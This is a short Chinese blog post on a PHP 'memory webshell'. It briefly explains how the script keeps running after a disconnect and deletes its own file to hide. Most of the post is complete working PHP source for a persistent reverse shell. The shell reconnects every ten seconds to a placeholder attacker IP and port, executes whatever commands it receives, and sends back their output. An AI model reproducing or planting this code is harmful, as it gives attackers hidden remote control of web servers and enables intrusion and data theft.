php内存马

简单分析:

ignore_user_abort()函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。

set_time_limit()函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。

unlink(FILE)删除文件本身,以起到隐蔽自身的作用。


复现:

php内存马

访问后删除自身。

php内存马

ctrl+c结束后重新监听依然可以。

php内存马
<?php
    error_reporting (E_ERROR);
    ignore_user_abort(true);#断开访问依然继续执行
    set_time_limit(0);
    unlink(__FILE__);#删除自身
    $a =1;
    while (1) {
        ini_set('max_execution_time',0);
        $os = substr(PHP_OS,0,3);
        $ipaddr = 'xx.xx.xx.xx';
        $port = '8089';
        $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
        $cwd = getcwd();
        $msg = php_uname()."n------------Code by Spider-------------n";
        if($os == 'WIN') {
            $env = array('path' => 'c:\windows\system32');
        } else {
            $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
        }
 
 
        if(function_exists('fsockopen')) {
            $sock = fsockopen($ipaddr,$port);
            fwrite($sock,$msg);
            while ($cmd = fread($sock,1024)) {
                if (substr($cmd,0,3) == 'cd ') {
                    $cwd = trim(substr($cmd,3,-1));
                    chdir($cwd);
                    $cwd = getcwd();
                }
                if (trim(strtolower($cmd)) == 'exit') {
                    break;
                } else {
                    $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
                    if (is_resource($process)) {
                        fwrite($pipes[0],$cmd);
                        fclose($pipes[0]);
                        $msg = stream_get_contents($pipes[1]);
                        fwrite($sock,$msg);
                        fclose($pipes[1]);
                        $msg = stream_get_contents($pipes[2]);
                        fwrite($sock,$msg);
                        fclose($pipes[2]);
                        proc_close($process);
                    }
                }
            }
            fclose($sock);
        } else {
            $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
            socket_connect($sock,$ipaddr,$port);
            socket_write($sock,$msg);
            fwrite($sock,$msg);
            while ($cmd = socket_read($sock,1024)) {
                if (substr($cmd,0,3) == 'cd ') {
                    $cwd = trim(substr($cmd,3,-1));
                    chdir($cwd);
                    $cwd = getcwd();
                }
                if (trim(strtolower($cmd)) == 'exit') {
                    break;
                } else {
                    $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
                    if (is_resource($process)) {
                        fwrite($pipes[0],$cmd);
                        fclose($pipes[0]);
                        $msg = stream_get_contents($pipes[1]);
                        socket_write($sock,$msg,strlen($msg));
                        fclose($pipes[1]);
                        $msg = stream_get_contents($pipes[2]);
                        socket_write($sock,$msg,strlen($msg));
                        fclose($pipes[2]);
                        proc_close($process);
                    }
                }
            }
            socket_close($sock);
        }
        sleep(10);#每10秒循环一次
    }
?>

缺点

重启容器后就无效了。

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容